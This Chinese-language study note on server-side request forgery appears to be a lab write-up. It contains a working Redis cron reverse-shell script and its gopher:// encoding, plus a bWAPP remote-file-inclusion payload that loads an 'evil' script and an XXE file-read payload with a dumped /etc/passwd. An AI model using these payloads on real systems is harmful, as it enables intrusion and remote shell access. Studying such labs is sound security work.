简单的SSRF的学习
自己眼中的SSRF 成因
服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等)
一SSRF配合redis未授权访问
redis-cli -h $1 flushall echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.3/2333 0>&1\n\n"|redis-cli -h $1 -x set 1 redis-cli -h $1 config set dir /var/spool/cron/ redis-cli -h $1 config set dbfilename root redis-cli -h $1 save
利用这个脚本攻击自身并抓包得到数据流:
改成适配于 Gopher 协议的 URL:
gopher://192.168.1.11:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
这时候在192.168.1.3这台服务器
nc -lvv 2333
1redis要存在未授权访问 看看存不存在
支持dict协议 本地支持file协议
这是源代码 意思是把访问url的内容反映到网页上面
gopher协议
二利用bWAPP学习SSRF
SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本:http://192.168.163.157/evil/ssrf-1.txt
接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level选择low,然后点击Hack。
观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
payload:?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST:ip=xxxx
http://192.168.1.11/bWAPP/rlfi.php ?language=http://192.168.1.11/evil/ssrf-1.txt &action=go
ip=192.168.1.2
任务2:使用XXE获取敏感文件中的内容
点击Access获取XXE的利用脚本:10.158.131.81/bWAPP_latest/evil/ssrf-2.txt
然后切换到XXE漏洞利用环境,点击Anybugs?
,抓包
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.1.11/bWAPP/passwords/heroes.xml"> ]> <reset><login>&bWAPP;</login><secret>blah</secret></reset>
使用file协议获取bWAPP本机的/etc/passwd的内容。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false hplip:x:104:7:HPLIP system user,,,:/var/run/hplip:/bin/false avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false pulse:x:107:116:PulseAudio daemon,,,:/var/run/pulse:/bin/false messagebus:x:108:119::/var/run/dbus:/bin/false avahi:x:109:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false polkituser:x:110:122:PolicyKit,,,:/var/run/PolicyKit:/bin/false haldaemon:x:111:123:Hardware abstraction layer,,,:/var/run/hald:/bin/false bee:x:1000:1000:bee,,,:/home/bee:/bin/bash mysql:x:112:124:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin dovecot:x:114:126:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false smmta:x:115:127:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:116:128:Mail Submission Program,,,:/var/lib/sendmail:/bin/false neo:x:1001:1001::/home/neo:/bin/sh alice:x:1002:1002::/home/alice:/bin/sh thor:x:1003:1003::/home/thor:/bin/sh wolverine:x:1004:1004::/home/wolverine:/bin/sh johnny:x:1005:1005::/home/johnny:/bin/sh selene:x:1006:1006::/home/selene:/bin/sh postfix:x:117:129::/var/spool/postfix:/bin/false proftpd:x:118:65534::/var/run/proftpd:/bin/false ftp:x:119:65534::/home/ftp:/bin/false snmp:x:120:65534::/var/lib/snmp:/bin/false ntp:x:121:131::/home/ntp:/bin/false 's secret has been reset!
修复建议